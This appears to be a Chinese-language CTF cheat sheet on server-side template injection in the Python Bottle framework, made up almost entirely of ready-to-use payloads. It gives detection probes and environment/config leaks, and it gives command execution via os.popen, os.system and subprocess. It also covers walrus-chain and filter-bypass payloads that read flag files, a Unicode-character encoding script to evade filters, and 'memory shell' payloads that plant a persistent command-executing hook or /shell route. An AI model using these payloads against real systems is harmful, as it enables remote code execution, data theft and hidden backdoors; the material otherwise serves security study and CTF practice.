Python Bottle SSTI注入

Bottle简介

Bottle是一个 超轻量级的Python Web框架 ,适合做小型 API、原型、教学示例或嵌入式应用。它把常用的 Web 功能(路由、模板、静态文件、HTTP 请求/响应处理)都放到一个很小的包里, 简洁、高效、零依赖。

引擎特性

Bottle使用SimpleTemplate引擎或简称为 stpl,支持%语法。

SimpleTemplate 支持 Python 表达式,也因此容易出现 SSTI。

  • 使用 类似 Python 的语法(表达式、方法、属性访问)。
  • 支持 变量替换{{ var }}
  • 支持 控制结构(以 % 开头):例如 %if%for%while(常用 %if%for)。
  • 默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。

Bottle注入

漏洞发现

{{7*7}}
%0a%%20print(7*7)

信息泄露

{{request.environ}}
{{settings}}
{{config}}

代码执行

os.popen

{{__import__('os').popen('whoami').read()}}

os.system

{{__import__('os').system('whoami')}}

subprocess.check_output

{{__import__('subprocess').check_output('whoami', shell=True)}}

python3.8+版本

可以利用海象符来进行赋值,那么就可以避免单行长度大于23

{{a:=''}}
{{b:=a.__class__}}
{{c:=b.__base__}}
{{d:=c.__subclasses__}}
{{e:=d()[156]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{z:='__builtins__'}}
{{h:=g[z]}}
{{i:=h['op''en']}}
{{x:=i("/flag")}}
{{y:=x.read()}}

绕过

{}被ban

可以使用if

<div>
% if __import__('bottle').abort(404,__import__('os').popen("cat /f*").read()):
<span>content</span>

% end
</div>

或者 加个%直接当成py运行

<div>
% import os
% flag_data = os.popen("cat /f*").read()
% __import__('bottle').abort(200, flag_data)
<span>content</span>
</div>

如果尖括号也被过滤

"""
% import os
% flag_data = os.popen("cat /f*").read()
% __import__('bottle').abort(200, flag_data)
"""

或者

"""
that_runing
% out=__import__('urllib').parse.quote(__import__('subprocess').run(['ls'],capture_output=True).stdout);raise Exception(out)
"""

特殊注入

python3 bottle框架斜体字引发的ssti模板注入

斜体字符集

斜体字符集指的是Decomposition后为同一个字符的字符集

下面这个链接可以查看字符集

https://www.compart.com/en/unicode/

比如a

这些字符分解后都指向a,例如:á (U+00E1)分解为a(U+0065)+´(U+0301)á分解后指向a

原理

python3 直接支持所有Unicode字符(包括特殊样式),也就是说我们可以输入斜体字符并被识别。在代码中直接书写这些字符时,当我们用exec()执行代码的时候Python 解释器会先将我们输入的字符解码为 Unicode 码点(Code Points),再编译为字节码,最后在当前的命名空间中运行字节码。

但是只有两个字符ª (U+00AA),º (U+00BA)能够成功

原因:

这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的。所以往往一个这些字符都会被识别成两个字符。只有位于U+0080(<Padding Character> (PAD))到U+00BF(¿)区间的字符,也就是Latin-1 Supplement的一半。他们的URL编码都由%c2开头,后面再跟一个编码值。利用的时候只需要将开头的%c2删去就可以成功将原字符传入后端。其中只有ª (U+00AA),º (U+00BA),¹ (U+00B9),² (U+00B2),³ (U+00B3)有用,其中¹ (U+00B9),² (U+00B2),³ (U+00B3)在exec()时不会被python正确解析。

代码执行

脚本:

import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'

def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result


input_text = "{{__import__('os').popen('whoami').read()}}" # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

Bottle v0.13.2内存马

app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('cmd')).read()))

然后在/路由直接?cmd=whoami就行了

"""
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read())
"""